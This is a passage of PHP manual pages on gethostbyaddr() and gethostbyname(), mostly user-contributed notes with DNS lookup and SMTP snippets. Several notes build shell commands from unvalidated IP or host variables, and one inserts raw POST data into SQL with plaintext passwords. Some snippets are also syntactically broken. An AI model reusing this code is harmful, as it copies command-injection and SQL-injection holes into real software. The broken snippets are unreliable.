                fclose($fp);
            }
            return $result;
        }
    }
?>

When I send the request packet, I get a response packet of length 5. Then I call socket_get_status() and use the unread_bytes key from it to know how far to fread from the socket. Works very good.

I've only used this on PHP 4.2.1 so far.
iain at monitormedia dot co dot uk 19-Jul-2002 02:48
Here's how to send an email using SMTP. This includes rudimentary checking on server responses during the process of sending an email. Could be improved by more comprehensive processing of the result codes...or going on to the next mail exchanger when you fail after connecting to the first.

<?php

function another_mail($to,$subject,$headers,$message)
{
 // Could get this from the php ini?
 $from="me@example.com";
 list($me,$mydomain) = split("@",$from);

 // Now look up the mail exchangers for the recipient
 list($user,$domain) = split("@",$to,2);
 if(getmxrr($domain,$mx,$weight) == 0)  return FALSE;

 // Try them in order of lowest weight first
 array_multisort($mx,$weight);
 $success=0;

 foreach($mx as $host) {
  // Open an SMTP connection
  $connection = fsockopen ($host, 25, $errno, $errstr, 1);
  if (!$connection)
    continue;
  $res=fgets($connection,256);
  if(substr($res,0,3) != "220") break;

  // Introduce ourselves
  fputs($connection, "HELO $mydomain\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope from
  fputs($connection, "MAIL FROM: $from\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope to
  fputs($connection, "RCPT TO: $to\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // The message
  fputs($connection, "DATA\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "354") break;

  // Send To:, From:, Subject:, other headers, blank line, message, and finish
  // with a period on its own line.
  fputs($connection, "To: $to\nFrom: $from\nSubject: $subject\n$headers\n\n$message\n.\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Say bye bye
  fputs($connection,"QUIT\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "221") break;

  // It worked! So break out of the loop which tries all the mail exchangers.
  $success=1;
  break;
 }
 // Debug for if we fall over - uncomment as desired
 // print $success?"Mail sent":"Failure: $res\n";
 if($connection) {
  if($success==0) fputs($connection, "QUIT\n");
  fclose ($connection);
 }
 return $success?TRUE:FALSE;
}

another_mail("recipient@example.com","My Subject","X-mailer: PHP Script\nX-another-header: Whatever","Test email body.\n\nNote if you actually put a period on a line\nby itself, the function will terminate prematurely.\n\nYou will get a partial email sent though.\n");
?>


Get the Internet host name corresponding to a given IP address

  • « fsockopen
  • gethostbyname »
  • PHP Manual
  • Network Functions
  • Get the Internet host name corresponding to a given IP address

gethostbyaddr

(PHP 4, PHP 5)

gethostbyaddr — Get the Internet host name corresponding to a given IP address

Description

string gethostbyaddr ( string $ip_address )

Returns the host name of the Internet host specified by ip_address.

Parameters

ip_address

The host IP address.

Return Values

Returns the host name on success, the unmodified ip_address on failure, or FALSE on malformed input.

Examples

Example #1 A simple gethostbyaddr() example

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);

echo $hostname;
?>

See Also

  • gethostbyname() - Get the IPv4 address corresponding to a given Internet host name
  • gethostbynamel() - Get a list of IPv4 addresses corresponding to a given Internet host name

User Contributed Notes

Mark in Sussex 28-Aug-2011 08:21
If you use gethostbyaddr() with a bad IP address then it will send an error message to the error log.
If you don't want your error log file getting too big then first check that the IP address is valid.

In the following example I first check if the IP number starts with a number,
if not then don't use gethostbyaddr('..')

<?php
  $IP = "BadValue.123.123.123";
  if(intval($IP)>0){
    $ServerIP = gethostbyaddr($IP);
  } else {
    $ServerIP = $IP; // A bad address.
  }
?>
james at trnxs dot net 12-Jan-2011 09:45
You should be careful in the use of $_SERVER['HTTP_X_FORWARDED_FOR'], as I discovered, once using Amazon AWS's Elastic Load Balancer's, this value may be a comma separated list of IP addresses and will thusly not compare as conceived in almost every example I have seen posted by users in the comments.
dhjdhj at gmail dot com 25-Sep-2010 03:58
I have observed that there are problems with all approaches that use the existence of an IP address to verify that the name being looked up actually exists.

If you're using opendns, then a request to a non-existent server returns an IP address anyway, the address being one for an opendns server. This is process is presumably in place so that errant URLs in browser requests take you to a "legitimate" page, i.e, the openDNS website where they can notify you of a problem.

Unfortunately, that mechanism seems to occur for ANY non-existent hostname. Appending a single period to the hostname does not seem to help.
Stuart Macdonald 28-Aug-2010 02:07
Here's a simple function that uses Dig to obtain the hostname for a given IP address. If no hostname can be found it returns the IP again.

Works only on linux / unix, or whatever other platform with dig installed as a command line utility.

<?php
    function tryGetHost($ip)
    {
        $string = '';
        exec("dig +short -x $ip 2>&1", $output, $retval);
        if ($retval != 0)
        {
            // there was an error performing the command
        }
        else
        {
            $x=0;
            while ($x < (sizeof($output)))
            {
                $string.= $output[$x];
                $x++;
            }
        }

        if (empty($string))
            $string = $ip;
        else //remove the trailing dot
            $string = substr($string, 0, -1);

        return $string;
    }
?>
marco[DOT]ceppi[@T]seacrow[DOT]org 01-Nov-2009 04:24
Anonymous has a good point (though I don't agree with pushing to execution to shell unless I have to. However this is a faster example (explode then loop is a little too intensive for a simple check)

<?php
function gethost ($ip)
{
    //Make sure the input is not going to do anything unexpected
    //IPs must be in the form x.x.x.x with each x as a number

    if( preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.]
(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip) )
    {
        $host = `host $ip`;
        return (($host ? end ( explode (' ', $host)) : $ip));
    }
    else
    {
        return false;
    }
}
?>

Though to be honest I would use:

<?php
function gethost ($ip)
{
    return ( preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.]
(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip) ) ? gethostbyaddr($ip) : false;
}
?>
webmaster at askapache dot com 22-Oct-2008 10:57
Here is a simple function I compiled from user-notes that works great.. any improvements?

<?php
function get_ip( $host ){
  $hostip = @gethostbyname( $host );
  $ip = ( $hostip == $host ) ? $host : long2ip( ip2long( $hostip ) );
  //echo sprintf("Resolved %s to %s", $host, $ip);
  return $ip;
}
?>
robbakAgmail_com 06-Jun-2008 08:19
it appears that gethostbyname() fails if the domain name contains unicode. Example:

 $ host 10.10.10.128
128.10.10.10.in-addr.arpa domain name pointer PC-de-S\130bastien.flexi.robbak.com.
 $ php
<?php echo gethostbyaddr( '10.10.10.128' ); ?>
10.10.10.128

gethostbyaddr is listed as unicode compatable in version 6, so a fix may be in the works.
billyblue 18-Dec-2007 05:12
I just spent a dickens of a time trying to figure out why my gethostbyaddr's were simply failing halfway through.

I'm returning a log of page visits, and with each new IP, I wanted to pull the hostname of the IP. On each report page, I'm pulling 500 lines from my Db, but only maybe 25 IPs on average. Sometimes this report would generate in under 15 seconds, other times it would fail with a connection reset.

It turns out that several of the IPs in my Db looked like this: x.255.x.x. gethostbyaddr really hates that and simply dies when it reaches one of these IPs.

For my case, I purged the Db and prevented the logging of IPs that contain 255.
oryan at zareste dot com 01-Mar-2006 12:17
If all else fails, but you have shell access, Unix/Linux servers can use this for a timeout response:

shell_exec('host -W 2 0.0.0.0');

Where 0.0.0.0 is of course the IP, and '2' is the number of seconds for the timeout.  This returns a more detailed string of info, with some additional text which might vary depending on the system, so if you want a string with the hostname and nothing else, you'll have to do some substring cutting.  There should be an equivalent of 'host' for Windows users to execute, but it isn't my platform.
tom 07-Oct-2005 10:14
Be careful with the usage of this function - it will slow down a server to a crawl if called a lot and the slowness won't be reflected in any of the obvious places, like CPU usage, apache requests, SQL etc. When you do use it make a special note of where!
reinhard at ess dot co dot at 12-Apr-2005 11:27
tried out some of the examples below, but no one worked for me.
(
"host" returns something if domain-name wasn't found
"gethostbyaddr" has a too long  timeout when it fails
"the udp-example" returns some strange characters...
)
so i have changed the "host"-example a little bit. hope someone can need it. (maybe with little changes like without error-description)

<?
function gethost($ip)
{
   $host = `host $ip`;
   $host=end(explode(' ',$host));
   $host=substr($host,0,strlen($host)-2);
   $chk=split("\(",$host);
   if($chk[1]) return $ip." (".$chk[1].")";
   else return $host;
}
?>
king dot macro at gmail dot com 26-Oct-2004 04:28
The problem of broken DNS servers was causing me a problem because i had a page for user statistics that required around 20 reverse dns lookups to be done, and even as many as 5/6 of them being broken was causing a huge delay in loading the page. so i wrote a function that uses a UDP socket to talk directly to the DNS server (instead of going via the normal gethostbyaddr function) this let me set a timeout.

The only requirement is that your DNS server must be able to do recursive lookups, it wont go to other DNS servers if its told to... and of course you need to know your DNS servers IP address :-)

<?
function gethostbyaddr_timeout($ip, $dns, $timeout=1000)
{
    // random transaction number (for routers etc to get the reply back)
    $data = rand(0, 99);
    // trim it to 2 bytes
    $data = substr($data, 0, 2);
    // request header
    $data .= "\1\0\0\1\0\0\0\0\0\0";
    // split IP up
    $bits = explode(".", $ip);
    // error checking
    if (count($bits) != 4) return "ERROR";
    // there is probably a better way to do this bit...
    // loop through each segment
    for ($x=3; $x>=0; $x--)
    {
        // needs a byte to indicate the length of each segment of the request
        switch (strlen($bits[$x]))
        {
            case 1: // 1 byte long segment
                $data .= "\1"; break;
            case 2: // 2 byte long segment
                $data .= "\2"; break;
            case 3: // 3 byte long segment
                $data .= "\3"; break;
            default: // segment is too big, invalid IP
                return "INVALID";
        }
        // and the segment itself
        $data .= $bits[$x];
    }
    // and the final bit of the request
    $data .= "\7in-addr\4arpa\0\0\x0C\0\1";
    // create UDP socket
    $handle = @fsockopen("udp://$dns", 53);
    // send our request (and store request size so we can cheat later)
    $requestsize=@fwrite($handle, $data);

    @socket_set_timeout($handle, $timeout - $timeout%1000, $timeout%1000);
    // hope we get a reply
    $response = @fread($handle, 1000);
    @fclose($handle);
    if ($response == "")
        return $ip;
    // find the response type
    $type = @unpack("s", substr($response, $requestsize+2));
    if ($type[1] == 0x0C00)  // answer
    {
        // set up our variables
        $host="";
        $len = 0;
        // set our pointer at the beginning of the hostname
        // uses the request size from earlier rather than work it out
        $position=$requestsize+12;
        // reconstruct hostname
        do
        {
            // get segment size
            $len = unpack("c", substr($response, $position));
            // null terminated string, so length 0 = finished
            if ($len[1] == 0)
                // return the hostname, without the trailing .
                return substr($host, 0, strlen($host) -1);
            // add segment to our host
            $host .= substr($response, $position+1, $len[1]) . ".";
            // move pointer on to the next segment
            $position += $len[1] + 1;
        }
        while ($len != 0);
        // error - return the hostname we constructed (without the . on the end)
        return $ip;
    }
    return $ip;
}
?>

This could be expanded quite a bit and improved but it works and i've seen quite a few people trying various methods to achieve something like this so i decided to post it here. on most servers it should also be more efficient than other methods such as calling nslookup because it doesn't need to run external programs

Note: I'm more a C person than a PHP person, so just ignore it if anything hasn't been done the *recomended* way :-)
Matt AKA Junkie 15-Mar-2004 05:29
Going through numerous tests, the following results are concluded:

<?
// If you're using a server on Windows, this is faster
function getisp($ip='') {
   if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
   $longisp = @gethostbyaddr($ip);
   $isp = explode('.', $longisp);
   $isp = array_reverse($isp);
   $tmp = $isp[1];
   if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
       $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
   } else {
       $myisp = $isp[1].'.'.$isp[0];
   }
   if (preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp))
      return 'ISP lookup failed.';
   return $myisp;
}

// If your server is on a *nix system, this is faster
function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// be warned, however, that gethost() will issue a warning
// if safe mode is on with the use of backticked variables

?>
webmaster at script-tease dot net 14-Mar-2004 01:37
gethostbyaddr() tends to lag on various systems for whatever reason. Here are two functions that should prove their worth speedwise.

<?php
// For Linux...

function gethost ($ip) {
 $host = `host $ip`;
 return (($host ? end ( explode (' ', $host)) : $ip));
}

// For Win32...

function nslookup ($ip) {
 $host = split('Name:',`nslookup $ip`);
 return ( trim (isset($host[1]) ? str_replace ("\n".'Address:  '.$ip, '', $host[1]) : $ip));
}
?>

Pretty basic, but it should get the job done.
Matt AKA Junkie 01-Mar-2004 01:11
Since my little ISP thing isn't globally acceptable, here's an update.

<?
function getisp($ip='') {
    if ($ip=='') $ip = $_SERVER['REMOTE_ADDR'];
    $longisp = @gethostbyaddr($ip);
    $isp = explode('.', $longisp);
    $isp = array_reverse($isp);
    $tmp = $isp[1];
    if (preg_match("/\<(org?|com?|net)\>/i", $tmp)) {
        $myisp = $isp[2].'.'.$isp[1].'.'.$isp[0];
    } else {
        $myisp = $isp[1].'.'.$isp[0];
    }
    preg_match("/[0-9]{1,3}\.[0-9]{1,3}/", $myisp) ? return 'ISP lookup failed.' : return $myisp;
}
?>
grimNOSPAMtraffic at hotNOSPAMmail dot com 31-Jul-2003 11:31
If you have found the host of the ip, the shortest way to cut it not to display the full hostname to the public would be:

$host = substr($host, strpos($host, ".") + 1);

P.S. strpos() can also be easily used if you want to put "*" for every simbol you ommit, like so:

$os = strpos($host, ".");
$host = substr($host, $os);
$host = str_repeat("*", $os) . $host;

--McTrafik
www.ad-rotator.com 29-Apr-2003 01:06
For ad-rotator.com, we need to do a lot of IP lookups, gethostbyaddr is very easy get timed-out and the script stucks there forever. Here is a fail-safe alternative, 1 sec max for timeout per IP.

function ar_gethostbyaddr($ip) {
  $output = `host -W 1 $ip`;
  if (ereg('.*pointer ([A-Za-z0-9.-]+)\..*',$output,$regs)) {
    return $regs[1];
  }
  return $ip;
}
jz at NOSPAM dot nplu dot kiev dot ua 11-Apr-2003 12:59
Just to fun that gethostbyadd() returns server machine name known in LAN rather then its DNS if I try to call it against my own host (from workstation), whether it would local (behind the proxy) or global (of proxy itself) IP or just loop 127.0.0.1.

And thus you can get LAN names of other workstations by its intranet IPs (I mean smth like 192.168.0.???)

Fun :)
kriek at jonkriek dot com 21-Mar-2003 05:39
In response to god at weaponzero dot f2s dot com: I found this much easier to write.

<?php
    $ip = $_SERVER['REMOTE_ADDR'];
    $fullhost = gethostbyaddr($ip);
    $host = preg_replace("/^[^.]+./", "*.", $fullhost);
?>

IP address <?=$ip?> | Host: <?=$host?>

You can still protect the IP of your visitors and only show the hostname or show them both.
lukevb_at_iafrica.com 09-Nov-2002 11:43
Sometimes when using $_SERVER['HTTP_X_FORWARDED_FOR'] OR $_SERVER['REMOTE_ADDR'] more than 1 IP address is returned, for example '155.240.132.261, 196.250.25.120'. When this string is passed as an argument for gethostbyaddr() PHP gives the following error: Warning: Address is not a valid IPv4 or IPv6 address in...

To work around this I use the following code to extract the first IP address from the string and discard the rest. (If you wish to use the other IPs they will be in the other elements of the $ips array).

if (strstr($remoteIP, ', ')) {
    $ips = explode(', ', $remoteIP);
    $remoteIP = $ips[0];
}

Hope this helps someone :)
abe at abe2k dot net 08-Nov-2002 03:32
gethostbyaddr() doesn't seem to be able to resolve ip6.int
(ipv6) adresses, so I made a function that can, and works
just like the normal gethostbyaddr().

You need dig and ipv6calc, dig should come with most
distributions, if not, install bind from http://www.isc.org.
ipv6calc can be found at http://www.bieringer.de/linux/IPv6/ipv6calc/index.html.

 function gethostbyaddr6($ip6) {
  $ipv6calc = "/bin/ipv6calc";
  $dig = "/usr/bin/dig";
  $file = popen($ipv6calc." --in ipv6addr --out revnibbles.int ".escapeshellarg($ip6), r);
  $ip = fread($file, 128);
  pclose($file);
  if ((substr($ip, 0, 5) == "Error") || (!$ip)) return "Address is not a valid IPv6 address";
  $file = popen($dig." ptr ".$ip, r);
   while (!feof ($file)) {
    $buffer = fgets($file, 128);
    if (substr($buffer, 0, 1) == ";") continue;
    $buffer = explode(" ", $buffer);
    if ($buffer[3] == "PTR") {
     $host = substr(trim($buffer[4]), 0, -1);
     pclose($file);
     return $host;
    }
   }
  pclose($file);
  return $ip6;
 }

 echo gethostbyaddr6($_SERVER[REMOTE_ADDR]);
dominique at vdx dot nl 30-Sep-2002 02:14
To convert an IP to a numeric value, just use the ip2long (...) function.

Vice versa; use: long2ip (...)
pulstar at mail dot com 20-Sep-2002 11:59
If you need to store an IP addresses in a database, you can convert and store it in an INT type column (4 bytes). The functions below can convert IP addresses to its integer decimal value and vice-versa.

function ip2dec($ipaddr) {
  $base=explode(".",$ipaddr);
  $decimal=(double) $base[0]*16777216;
  $decimal+=$base[1]*65536;
  $decimal+=$base[2]*256;
  $decimal+=$base[3];
  if($decimal>2147483647) {
    $decimal-=4294967296;
  }
  return (int) $decimal;
}

function dec2ip($dec) {
  if($dec<0) {
    $dec=(double) 4294967296+$dec;
  }
  if($dec>16777215) {
    $ip=$dec-(intval($dec/256)*256);
    $dec=(double) intval($dec/256);
  } else $ip="0";
  if($dec>65535) {
    $ip=($dec-(intval($dec/256)*256)).".".$ip;
    $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  if($dec>255) {
    $ip=($dec-(intval($dec/256)*256)).".".$ip;
    $dec=(double) intval($dec/256);
  } else $ip="0.".$ip;
  $ip=$dec.".".$ip;
  return (string) $ip;
}
alexey at ozerov dot de 15-Sep-2002 07:15
This function seems to be very slow on IIS 4.0 Server (Win32). I use system call to NSLOOKUP instead to get PC-Hostname:

unset ($execoutput);
exec ("nslookup $IPAdresse 2>nul",$execoutput,$nslookstatus);
if (isset ($execoutput[3]) && ereg ("^Name: *([A-Za-z0-9]{2,})\.",$execoutput[3],$regs))
$nslookname=strtoupper($regs[1]);
else $nslookname="Unknown";

Note by members: This is not portable to Windows platforms. so you would be better to stay with our function.
stephane at metacites dot net 10-Sep-2002 04:17
gethostbyaddr_with_cache()

As someone truely said upper in the forum, some unresolved addresses may slow down your script to the point it times out.

Althought I had thought gethostbyaddr() would use some kind of cache, it doesn't seem to when the IP is unresolved (at least on my win machine).

So, I've coded a little gethostbyaddr_with_cache() function that will greatly speed your page if you have many gethostbyaddr() to perform on the same page.

function gethostbyaddr_with_cache($a) {
  global $dns_cache;
  if ($dns_cache[$a]) {
    return $dns_cache[$a];
    } else {
    $temp = gethostbyaddr($a);
    $dns_cache[$a] = $temp;
    return $temp;
  }
    }
inny at core dot fetchnet dot org 10-Aug-2002 06:58
Turning on the HostnameLookup function on in the apache configuration file will severely increase the loading times of all the pages serviced by the httpd-server.
It's mostly a better idea to just use gethostbyaddr($REMOTE_ADDR); instead of $REMOTE_HOST if you turned HostnameLookups On, unless you want the hostnames specified in apache's log file...
ven at PragaKhan dot com 16-Jul-2002 12:55
$REMOTE_HOST or $_SERVER['REMOTE_HOST'] will give you the reversed ip IF apache is setup to do hostname lookups.

HostnameLookups On
elpmille at indiana dot edu 30-May-2002 09:26
I previously used something very similar to what god@weaponzero.f2s.com posted but found it to be quite tedious for getting the 'nicehost'. This method below is a lot cleaner, and it also works for numeric addresses.

function nicehost($host) {
    if (ereg('^([0-9]{1,3}\.){3}[0-9]{1,3}$', $host)) {
        return(ereg_replace('\.[0-9]{1,3}$', '.*', $host));
    } else {
        return(ereg_replace('^.{' . strpos($host, '.') . '}', '*', $host));
    }
}
nothanks at nospam dot com 17-May-2002 12:30
This is also very useful if you'd like to ban these annoying people that keep spamming your forums. It requires a clever use of mySql but can be great:

First, make a table for the bans, then make the query:

"SELECT banReason from tBans where '". gethostbyaddr($REMOTE_ADDR) ."' LIKE banMask"

If your results aren't null it means his host matched a banMask in your DB, so you can redirect him with header() to a banned.php page and prevent him from accessing any content on your page!
phalkon at nospam dot home dot com 09-Jun-2001 12:58
Be cautious when looking up many hostnames.  If your DNS server is slow to respond, you may have to pump up your Max execution time for your scripts, otherwise, it will timeout.  I found that even 3 unresolvable hosts can cause a 30 second delay in processing.
andy at occ dot nu 12-Jan-2001 03:48
if the user is sitting behind a proxy server, you can do this;

<?
    if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"] != ""){
        $IP = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
        $proxy = $HTTP_SERVER_VARS["REMOTE_ADDR"];
        $host = @gethostbyaddr($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"]);
    }else{
        $IP = $HTTP_SERVER_VARS["REMOTE_ADDR"];
        $host = @gethostbyaddr($HTTP_SERVER_VARS["REMOTE_ADDR"]);
    }
?>

ps; i use $HTTP_SERVER_VARS["something"] instead of just $something;
you can get most of the $HTTP_SERVER_VARS by just using there $something equivalent, see the manual for that (preserved variables)


Get the IPv4 address corresponding to a given Internet host name

  • « gethostbyaddr
  • gethostbynamel »
  • PHP Manual
  • Network Functions
  • Get the IPv4 address corresponding to a given Internet host name

gethostbyname

(PHP 4, PHP 5)

gethostbyname — Get the IPv4 address corresponding to a given Internet host name

Description

string gethostbyname ( string $hostname )

Returns the IPv4 address of the Internet host specified by hostname.

Parameters

hostname

The host name.

Return Values

Returns the IPv4 address or a string containing the unmodified hostname on failure.

Examples

Example #1 A simple gethostbyname() example

<?php
$ip = gethostbyname('www.example.com');

echo $ip;
?>

See Also

  • gethostbyaddr() - Get the Internet host name corresponding to a given IP address
  • gethostbynamel() - Get a list of IPv4 addresses corresponding to a given Internet host name
  • inet_pton() - Converts a human readable IP address to its packed in_addr representation
  • inet_ntop() - Converts a packed internet address to a human readable representation

User Contributed Notes

filippusnafuka at gmail dot com 29-Jan-2014 10:34
<?php

$mysql_hostname = "localhost";
$mysql_username="root";
$mysql_password="emma"; // if it is exist in your database other wise it will be null($password="")
$mysql_database="try";

//connects to database
$db = mysql_connect($mysql_hostname, $mysql_username, $mysql_password)
     or die("ther is an error in connecting with the database");

mysql_select_db('try') or die("couldn't find database");

$username = @$_POST['username'];
$password = @$_POST['password'];
$submit      = @$_POST['submit'];
$encpassword = md5($password);

if($submit){
    if($username==true){

        if($password==true){

            mysql_select_db('try');

            $db = new mysqli($mysql_hostname,$mysql_username,$mysql_password,$mysql_database);

                        //to show encrypted pass use encpassword

            mysql_query("INSERT INTO table1 (id, username, password) values ('$_POST[username]','$_POST[password]')");

    //        echo ("Last inserted record has id %d\n", mysql_insert_id());

            header("Location: localhost\new.php"); /* Redirect browser */

            /* Make sure that code below does not get executed when we redirect. */
            exit;

//38
        }else{
        echo ("Please enter password: ");
        }

    }

   }//end of iF submit

?>
What is wrong with this code? .it does not want to post to the database
Ome Ko 16-Mar-2013 05:34
If you do a gethostbyname() and there is no trailing dot after a domainname that does not resolve, this domainname will ultimately be appended to the server-FQDN by nslookup.

So if you do a lookup for nonexistentdomainname.be your server may return the ip for nonexistentdomainname.be.yourhostname.com, which is the server-ip.

To avoid this behaviour, just add a trailing dot to the domainname; i.e. gethostbyname('nonexistentdomainname.be.')
Emmett Brosnan 02-Feb-2012 08:09
Grabbing IPs for multiple hosts:

<?php
function getAddrByHost($hosts, $timeout = 3) {
  $returnString = '';
  foreach ($hosts as $host) {
    $query = `nslookup -timeout=$timeout -retry=1 $host`;
    if (preg_match('/\nAddress: (.*)\n/', $query, $matches))
      $returnString .= trim($matches[1]) . '<br>';
    $returnString .= $host . '<br>';
  }
  return $returnString;

}

$hostArray[] = 'www.domain1.com';
$hostArray[] = 'www.domain2.com';
//$hostArray[] = 'www.domain3.com';
//$hostArray[] = 'www.domain4.com';

$returnString = getAddrByHost($hostArray);
echo $returnString;
?>
Alexandre (d) 18-Jul-2011 06:28
Important note: You should avoid its use in production.

DNS Resolution may take from 0.5 to 4 seconds, and during this time your script is NOT being executed.

Your customers may think that the server is slow, but actually it is just waiting for the DNS resolution response.

You can use it, but if you want performance, you should avoid it, or schedule it to some CRON script...
nirazuelos at gmail dot com 12-Aug-2009 05:52
This is the best method I've come up with to resolve any host-name to ip-address, it's quick and reliable and has support for timeout! An invalid address, a unicode string for exmaple, returns after 4~ seconds, instead of 8~ with gethostbyname! It works only with unix though.

<?php
function getAddrByHost($host, $timeout = 3) {
   $query = `nslookup -timeout=$timeout -retry=1 $host`;
   if(preg_match('/\nAddress: (.*)\n/', $query, $matches))
      return trim($matches[1]);
   return $host;
}
?>
manalejandro at gmail dot com 25-May-2008 05:59
This logic solution to problem checking dns reverse name resolution:

<?php
$ip = gethostbyname($host);
if(ip2long($ip) == -1 || ($ip == gethostbyaddr($ip) && preg_match("/.*\.[a-zA-Z]{2,3}$/",$host) == 0) ) {
    echo 'Error, incorrect host or ip';
    }
else {
    echo 'Ok';
}
?>
geoff at spacevs dot com 06-Dec-2007 04:37
I put this in a prepend script for all my websites to cut down the amount of abuse by automated scripts.
<?PHP
        $blacklists = array('web.sorbs.net');
        $parts  = explode('.', $_SERVER['REMOTE_ADDR']);
        $ip     = implode('.', array_reverse($parts)) . '.';
        foreach($blacklists as $bl) {
                $check = $ip . $bl;
                if ($check != gethostbyname($check)) {
                                error_log('PHP Security: [DNSBL] - ' . $_SERVER['REMOTE_ADDR'] . ' - ' . $bl);
                                die('Put a detailed error here so the client knows why they have been blocked');
                }
        }
?>
Florian Holzhauer 12-Sep-2007 12:02
If name resolution fails with apache2, mod_chroot and php5, add
LoadFile /lib/libnss_dns.so.2
to the mod_chroot config.
guwapo at thedoghouse dot bz 07-Sep-2007 05:25
referring to ralphbolton at mail2sexy dot com comment:

(at least in 5.2.0 + djbdns-dnscache) gethostbyname does not really seem to cache entries. If somebody notices a speed-up after the second lookup of the same domain - that's most likely your dns-cache itself, not some php-internal dns-cache.

It does cache the entries in your /etc/resolv.conf (e.g. what dns to use) so I agree with him, that stopping and starting apache, will reload the resolv.conf.
von at student dot chalmers dot se 20-Jul-2007 12:50
When using PHP and Apache in a chroot environment on RedHat Linux, I have found that I need to bind-mount /var/run/nscd to get this to work. Apparently, the socket in that directory is needed for all the DNS things.
Josh Finlay josh at glamourcastle dot com 05-Nov-2006 03:55
gethostbyname and gethostbynamel does not ask for AAAA records. I have written two functions to implement this. gethostbyname6 and gethostbynamel6. I don't believe this issue has been addressed yet.

They are made to replace gethostbyname[l], in a way that if $try_a is true, if it fails to get AAAA records it will fall back on trying to get A records.

Feel free to correct any errors, I realise that it is asking for *both* A and AAAA records, so this means two DNS calls.. probably would be more efficient if it checked $try_a before making the query, but this works for me so I'll leave that up to someone else to implement in their own work.. the tip is out there now anyway..

Here is the code:

    function gethostbyname6($host, $try_a = false) {
        // get AAAA record for $host
        // if $try_a is true, if AAAA fails, it tries for A
        // the first match found is returned
        // otherwise returns false

        $dns = gethostbynamel6($host, $try_a);
        if ($dns == false) { return false; }
        else { return $dns[0]; }
    }

    function gethostbynamel6($host, $try_a = false) {
        // get AAAA records for $host,
        // if $try_a is true, if AAAA fails, it tries for A
        // results are returned in an array of ips found matching type
        // otherwise returns false

        $dns6 = dns_get_record($host, DNS_AAAA);
        if ($try_a == true) {
            $dns4 = dns_get_record($host, DNS_A);
            $dns = array_merge($dns4, $dns6);
        }
        else { $dns = $dns6; }
        $ip6 = array();
        $ip4 = array();
        foreach ($dns as $record) {
            if ($record["type"] == "A") {
                $ip4[] = $record["ip"];
            }
            if ($record["type"] == "AAAA") {
                $ip6[] = $record["ipv6"];
            }
        }
        if (count($ip6) < 1) {
            if ($try_a == true) {
                if (count($ip4) < 1) {
                    return false;
                }
                else {
                    return $ip4;
                }
            }
            else {
                return false;
            }
        }
        else {
            return $ip6;
        }
    }
chris at chollis dot net 15-Oct-2006 07:57
mmucklo raises a valid point, however the function to use would be getmxrr() in the simplest case, or alternatively checkdnsrr() if you so wish; getdnsrr() does not exist.

On another note, it can be a pain (when iterating with while loops for example) that on failure gethostbyname() returns the hostname, rather than FALSE. You could wrap it in a simple user function, to "correct" this:

<?php

function fixed_gethostbyname ($host) {
    // Try the lookup as normal...
    $ip = gethostbyname($host);
    // ...but if it fails, FALSE is returned instead of the unresolved host
    if ($ip != $host) { return $ip; } else return false;
}

?>
Peter <toomuchphp-phpman at yahoo dot com> 06-Sep-2006 03:33
One way to discover your IP address automatically:

<?php

// need to trim() because whitespace will confuse the name lookup
$myIP = gethostbyname(trim(`hostname`));
echo $myIP;

?>
mmucklo at yahoo dot com 16-Aug-2006 08:05
One note about using gethostbyname() for checking email address domains:

If the name doesn't resolve, follow up with getdnsrr() and make sure they don't have an MX entry before returning an error.

It is possible for a domain name not to have an A record, but still have an MX entry.
Marc M 09-Aug-2006 05:33
Just a heads up. I was using this function on my site to verify email host addresses. I thought all was good, until a potential client contacted me and said they couldn't sign up correctly. They have a valid email address and domain, but this function failed.

Good luck.
ralphbolton at mail2sexy dot com 06-Apr-2006 10:10
On a side-note, PHP (5.0.4, but probably other versions too) can cache gethostbyname information.

In short, once PHP looks up an address, it may not actually perform another lookup as you may expect. In my particular case (I think) the problem was a change to resolv.conf didn't take effect inside PHP (although nslookup/ping etc worked fine). Stop/Starting Apache fixed it (although a simple 'restart' (kill -HUP) didn't).

In short, if you change resolv.conf, stop and restart Apache.
ivan[DOT]pirog[AT]gmail[DOT]com 14-Mar-2006 03:57
Function returns boolean:
<?php
function isDomainResolves($domain)
{
     return gethostbyname($domain) != $domain;
}
?>
mcgrof at gmail dot com 21-Oct-2005 06:10
Better yet:
<?php
$ip = rtrim(`/usr/bin/dig $host A +short`);
?>
mcgrof at gmail dot com 21-Oct-2005 06:05
In PHP4 you can use gethostbyname() but I have found this unreliable when doing lookups on entries that return A records on the private network. PHP5 has a much better routine -- dns_get_record(). If you are stuck with PHP4 or don't want to upgrade you can use dig:

<?php
$ip = `/usr/bin/dig $host A +short`;
?>
tabascopete78 at yahoo dot com 18-Aug-2005 09:29
I was using file_get_contents on a set of URLs. Some of them URLs were invalid (the structure of it was ok but the DNS hosts couldn't resolve them) and I kept getting an annoying warning. I wanted to check the DNS somehow but existing check dns function in php doesn't have one for windows and the one a person supplied there does not work 100% of the time.

Instead use this function to try to resolve a host. This won't throw any warnings, you just need to check the output. You'll get the same warnings with fopen and fsockopen.
cox at idecnet dot com 26-Dec-2004 09:15
For doing basic RBL (Real Time Blacklist) lookups with this function do:

<?php
$host = '64.53.200.156';
$rbl  = 'sbl-xbl.spamhaus.org';
// valid query format is: 156.200.53.64.sbl-xbl.spamhaus.org
$rev = array_reverse(explode('.', $host));
